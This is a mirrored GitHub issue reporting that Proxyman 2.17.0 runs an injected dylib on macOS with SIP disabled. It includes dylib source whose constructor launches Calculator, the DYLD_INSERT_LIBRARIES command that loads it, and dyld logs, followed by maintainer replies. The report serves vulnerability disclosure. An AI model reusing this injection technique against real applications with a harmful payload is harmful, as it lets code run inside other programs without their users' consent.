[GH-ISSUE #788] Mapping 3rd party signed dylib into process space may produce unexpected results with SIP OFF #783

Open
opened 2026-03-03 19:21:52 +03:00 by kerem · 2 comments
Owner

Originally created by @xsscx on GitHub (Feb 12, 2021).
Original GitHub issue: https://github.com/ProxymanApp/Proxyman/issues/788

Proxyman version? (Ex. Proxyman 1.4.3)

2.17.0

macOS Version? (Ex. mac 10.14)

20.2.0 Darwin Kernel Version 20.2.0: Wed Dec 2 20:39:59 PST 2020; root:xnu-7195.60.75~1/RELEASE_X86_64 x86_64

Steps to reproduce

ISSUE

Mapping a 3rd party signed dylib into your process space may produce unexpected results with SIP OFF.

uname -a = MAC 20.2.0 Darwin Kernel Version 20.2.0: Wed Dec 2 20:39:59 PST 2020; root:xnu-7195.60.75~1/RELEASE_X86_64 x86_64

We're analyzing a recent build of Proxyman for MAC, details below:

Proxyman.App Identification on OSX V 2.17.0
md5 /Applications/Proxyman.app/Contents/MacOS/Proxyman
MD5 (/Applications/Proxyman.app/Contents/MacOS/Proxyman) = 400ab7bfcafe530ff56c8075d0e02347
...
codesign -dvvv /Applications/Proxyman.app/Contents/MacOS/Proxyman
Executable=/Applications/Proxyman.app/Contents/MacOS/Proxyman
...

Issue Description
codesign -dvvv ~/Documents/dlyd/malicious.dylib
Executable=/Users/xss/Documents/dlyd/malicious.dylib
Identifier=malicious
Format=Mach-O thin (x86_64)
...
Injected dylib Code
#include <Foundation/Foundation.h>
attribute((constructor)) static void pwn() {
puts("\n\nHELLO FROM THE DYLIB!\n\n");
NSTask *task = [[NSTask alloc] init];
task.launchPath = @"/System/Applications/Calculator.app/Contents/MacOS/Calculator";
[task launch];
}

PoC

REQUIREMENT: SIP OFF

DYLD_PRINT_APIS=1 DYLD_PRINT_BINDINGS=1 DYLD_PRINT_INITIALIZERS=1 DYLD_PRINT_REBASINGS=1 DYLD_PRINT_SEGMENTS=1 DYLD_PRINT_STATISTICS=1 DYLD_PRINT_DOFS=1 DYLD_PRINT_RPATHS=1 DYLD_PRINT_INITIALIZERS=1 DYLD_FORCE_FLAT_NAMESPACE=1 DYLD_INSERT_LIBRARIES=./malicious.dylib /Applications/Proxyman.app/Contents/MacOS/Proxyman

RESULT

Watch Proxyman Startup, Watch Calculator Open

LOGGING
REQUIREMENT: SIP OFF
....
DYLD_PRINT_APIS=1 DYLD_PRINT_BINDINGS=1 DYLD_PRINT_INITIALIZERS=1 DYLD_PRINT_REBASINGS=1 DYLD_PRINT_SEGMENTS=1 DYLD_PRINT_STATISTICS=1 DYLD_PRINT_DOFS=1 DYLD_PRINT_RPATHS=1 DYLD_PRINT_INITIALIZERS=1 DYLD_FORCE_FLAT_NAMESPACE=1 DYLD_INSERT_LIBRARIES=./malicious.dylib /Applications/Proxyman.app/Contents/MacOS/Proxyman....
...
dyld: calling initializer function 0x7fff2404c1e0 in /usr/lib/libnetwork.dylib
dyld: calling initializer function 0x7fff20f8273e in /usr/lib/libmecabra.dylib
dyld: calling initializer function 0x7fff20f82c08 in /usr/lib/libmecabra.dylib
dyld: calling initializer function 0x106a26eb0 in ./malicious.dylib
dyld: lazy bind: malicious.dylib:0x106A2B008 = libsystem_c.dylib:_puts, *0x106A2B008 = 0x7FFF20268274
...
HELLO FROM THE DYLIB!
...
dyld: lazy bind: malicious.dylib:0x106A2B000 = libobjc.A.dylib:_objc_alloc_init, *0x106A2B000 = 0x7FFF20211067
_dyld_is_memory_immutable(0x7fff2148cf87, 25)
_dyld_is_memory_immutable(0x7fff2148cf87, 25)
_dyld_is_memory_immutable(0x7fff2148cf87, 25)
dyld: calling -init function 0x7fff21978b00 in /System/Library/Frameworks/CoreText.framework/Versions/A/CoreText
re-using existing shared cache (/System/Library/dyld/dyld_shared_cache_x86_64h):
0x7FFF20045000->0x7FFF7FFC4FFF init=5, max=5 read execute
0x7FFF80045000->0x7FFF8DFE8FFF init=3, max=3 read write data
dyld: calling initializer functi 0x7FFFC0045000->0x7FFFE2on 0x7fff2bd1c030 in /System/Lib2E4FFF init=1, max=1 read
rary/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/ATSUI.framework/Versions/A/ATSUI
dyld: Main executable mapped /System/Applications/Calculator.app/Contents/MacOS/Calculator
__PAGEZERO at 0x00000000->0x100000000
__TEXT at 0x109884000->0x1098A8000
__DATA_CONST at 0x1098A8000->0x1098AC000
__DATA at 0x1098AC000->0x1098B8000
__LINKEDIT at 0x1098B8000->0x1098C4000
dyld: calling initializer function 0x7fff215cd9e0 in /System/Library/Frameworks/CoreDisplay.framework/Versions/A/CoreDisplay
dyld: cdyld: Mapping ./malicious.dylib
...
dyld: rebase: Calculator:*0x1098A8100 += 0x09884000
dyld: rebase: Calculator:*0x1098A8108 += 0x09884000
dyld: rebase: Calculator:*0x1098A8110 += 0x09884000
dyld: rebase: Calculator:*0x1098A8130 += 0x09884000
dyld: rebase: Calculator:*0x1098A8138 += 0x09884000
dyld: rebase: Calculator:*0x1098A8140 += 0x09884000
dyld: rebase: Calculator:*0x1098A8160 += 0x09884000
dyld: rebase: Calculator:*0x1098A8168 += 0x09884000
dyld: rebase: Calculator:*0x1098A8170 += 0x09884000
dyld: rebase: Calculator:*0x1098A8190 += 0x09884000
dyld: rebase: Calculator:*0x1098A8198 += 0x09884000
dyld: rebase: Calculator:*0x1098A81A0 += 0x09884000
dyld: rebase: Calculator:*0x1098A81C0 += 0x09884000
dyld: rebase: Calculator:*0x1098A81E0 += 0x09884000
dyld: rebase: Calculator:*0x1098A81E8 += 0x09884000
dyld: calling initializer functidyld: rebase: Calculator:*0x1098on 0x10687ecb0 in /Applications/A8200 += 0x09884000 Proxyman.app/Contents/MacOS/Proxyman
dyld: rebase: Calculator:*0x1098A8208 += 0x09884000
dyld: rebase: Calculator:*0x1098A8210 += 0x09884000
dyld: rebase: Calculator:*0x1098A8230 += 0x09884000
dyld: rebase: Calculator:*0x1098A8250 += 0x09884000
...
Execution Confirmation: dyld: Main executable mapped /System/Applications/Calculator.app/Contents/MacOS/Calculator
...
REQUIREMENT: SIP OFF

Expected behavior

Do Not Execute Injected dylib

Screenshots (optional)

Originally created by @xsscx on GitHub (Feb 12, 2021). Original GitHub issue: https://github.com/ProxymanApp/Proxyman/issues/788 ### Proxyman version? (Ex. Proxyman 1.4.3) 2.17.0 ### macOS Version? (Ex. mac 10.14) 20.2.0 Darwin Kernel Version 20.2.0: Wed Dec 2 20:39:59 PST 2020; root:xnu-7195.60.75~1/RELEASE_X86_64 x86_64 ### Steps to reproduce ISSUE Mapping a 3rd party signed dylib into your process space may produce unexpected results with SIP OFF. uname -a = MAC 20.2.0 Darwin Kernel Version 20.2.0: Wed Dec 2 20:39:59 PST 2020; root:xnu-7195.60.75~1/RELEASE_X86_64 x86_64 We're analyzing a recent build of Proxyman for MAC, details below: Proxyman.App Identification on OSX V 2.17.0 md5 /Applications/Proxyman.app/Contents/MacOS/Proxyman MD5 (/Applications/Proxyman.app/Contents/MacOS/Proxyman) = 400ab7bfcafe530ff56c8075d0e02347 ... codesign -dvvv /Applications/Proxyman.app/Contents/MacOS/Proxyman Executable=/Applications/Proxyman.app/Contents/MacOS/Proxyman ... Issue Description codesign -dvvv ~/Documents/dlyd/malicious.dylib Executable=/Users/xss/Documents/dlyd/malicious.dylib Identifier=malicious Format=Mach-O thin (x86_64) ... Injected dylib Code #include <Foundation/Foundation.h> __attribute__((constructor)) static void pwn() { puts("\n\nHELLO FROM THE DYLIB!\n\n"); NSTask *task = [[NSTask alloc] init]; task.launchPath = @"/System/Applications/Calculator.app/Contents/MacOS/Calculator"; [task launch]; } PoC REQUIREMENT: SIP OFF DYLD_PRINT_APIS=1 DYLD_PRINT_BINDINGS=1 DYLD_PRINT_INITIALIZERS=1 DYLD_PRINT_REBASINGS=1 DYLD_PRINT_SEGMENTS=1 DYLD_PRINT_STATISTICS=1 DYLD_PRINT_DOFS=1 DYLD_PRINT_RPATHS=1 DYLD_PRINT_INITIALIZERS=1 DYLD_FORCE_FLAT_NAMESPACE=1 DYLD_INSERT_LIBRARIES=./malicious.dylib /Applications/Proxyman.app/Contents/MacOS/Proxyman RESULT Watch Proxyman Startup, Watch Calculator Open LOGGING REQUIREMENT: SIP OFF .... DYLD_PRINT_APIS=1 DYLD_PRINT_BINDINGS=1 DYLD_PRINT_INITIALIZERS=1 DYLD_PRINT_REBASINGS=1 DYLD_PRINT_SEGMENTS=1 DYLD_PRINT_STATISTICS=1 DYLD_PRINT_DOFS=1 DYLD_PRINT_RPATHS=1 DYLD_PRINT_INITIALIZERS=1 DYLD_FORCE_FLAT_NAMESPACE=1 DYLD_INSERT_LIBRARIES=./malicious.dylib /Applications/Proxyman.app/Contents/MacOS/Proxyman.... ... dyld: calling initializer function 0x7fff2404c1e0 in /usr/lib/libnetwork.dylib dyld: calling initializer function 0x7fff20f8273e in /usr/lib/libmecabra.dylib dyld: calling initializer function 0x7fff20f82c08 in /usr/lib/libmecabra.dylib dyld: calling initializer function 0x106a26eb0 in ./malicious.dylib dyld: lazy bind: malicious.dylib:0x106A2B008 = libsystem_c.dylib:_puts, *0x106A2B008 = 0x7FFF20268274 ... HELLO FROM THE DYLIB! ... dyld: lazy bind: malicious.dylib:0x106A2B000 = libobjc.A.dylib:_objc_alloc_init, *0x106A2B000 = 0x7FFF20211067 _dyld_is_memory_immutable(0x7fff2148cf87, 25) _dyld_is_memory_immutable(0x7fff2148cf87, 25) _dyld_is_memory_immutable(0x7fff2148cf87, 25) dyld: calling -init function 0x7fff21978b00 in /System/Library/Frameworks/CoreText.framework/Versions/A/CoreText re-using existing shared cache (/System/Library/dyld/dyld_shared_cache_x86_64h): 0x7FFF20045000->0x7FFF7FFC4FFF init=5, max=5 read execute 0x7FFF80045000->0x7FFF8DFE8FFF init=3, max=3 read write data dyld: calling initializer functi 0x7FFFC0045000->0x7FFFE2on 0x7fff2bd1c030 in /System/Lib2E4FFF init=1, max=1 read rary/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/ATSUI.framework/Versions/A/ATSUI dyld: Main executable mapped /System/Applications/Calculator.app/Contents/MacOS/Calculator __PAGEZERO at 0x00000000->0x100000000 __TEXT at 0x109884000->0x1098A8000 __DATA_CONST at 0x1098A8000->0x1098AC000 __DATA at 0x1098AC000->0x1098B8000 __LINKEDIT at 0x1098B8000->0x1098C4000 dyld: calling initializer function 0x7fff215cd9e0 in /System/Library/Frameworks/CoreDisplay.framework/Versions/A/CoreDisplay dyld: cdyld: Mapping ./malicious.dylib ... dyld: rebase: Calculator:*0x1098A8100 += 0x09884000 dyld: rebase: Calculator:*0x1098A8108 += 0x09884000 dyld: rebase: Calculator:*0x1098A8110 += 0x09884000 dyld: rebase: Calculator:*0x1098A8130 += 0x09884000 dyld: rebase: Calculator:*0x1098A8138 += 0x09884000 dyld: rebase: Calculator:*0x1098A8140 += 0x09884000 dyld: rebase: Calculator:*0x1098A8160 += 0x09884000 dyld: rebase: Calculator:*0x1098A8168 += 0x09884000 dyld: rebase: Calculator:*0x1098A8170 += 0x09884000 dyld: rebase: Calculator:*0x1098A8190 += 0x09884000 dyld: rebase: Calculator:*0x1098A8198 += 0x09884000 dyld: rebase: Calculator:*0x1098A81A0 += 0x09884000 dyld: rebase: Calculator:*0x1098A81C0 += 0x09884000 dyld: rebase: Calculator:*0x1098A81E0 += 0x09884000 dyld: rebase: Calculator:*0x1098A81E8 += 0x09884000 dyld: calling initializer functidyld: rebase: Calculator:*0x1098on 0x10687ecb0 in /Applications/A8200 += 0x09884000 Proxyman.app/Contents/MacOS/Proxyman dyld: rebase: Calculator:*0x1098A8208 += 0x09884000 dyld: rebase: Calculator:*0x1098A8210 += 0x09884000 dyld: rebase: Calculator:*0x1098A8230 += 0x09884000 dyld: rebase: Calculator:*0x1098A8250 += 0x09884000 ... Execution Confirmation: dyld: Main executable mapped /System/Applications/Calculator.app/Contents/MacOS/Calculator ... REQUIREMENT: SIP OFF ### Expected behavior Do Not Execute Injected dylib ### Screenshots (optional)
Author
Owner

@NghiaTranUIT commented on GitHub (Feb 12, 2021):

Hi,

I’m not sure why it’s possible since we have already enabled Hardened runtime https://developer.apple.com/documentation/security/hardened_runtime and Notarized the build. I suppose that it should prevent injecting 3rd-party dylib, shouldn’t it?

<!-- gh-comment-id:778256617 --> @NghiaTranUIT commented on GitHub (Feb 12, 2021): Hi, I’m not sure why it’s possible since we have already enabled Hardened runtime https://developer.apple.com/documentation/security/hardened_runtime and Notarized the build. I suppose that it should prevent injecting 3rd-party dylib, shouldn’t it?
Author
Owner

@NghiaTranUIT commented on GitHub (Feb 12, 2021):

I will take a look tomorrow and find the solution to fix it

<!-- gh-comment-id:778256867 --> @NghiaTranUIT commented on GitHub (Feb 12, 2021): I will take a look tomorrow and find the solution to fix it
Sign in to join this conversation.
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
starred/Proxyman#783
No description provided.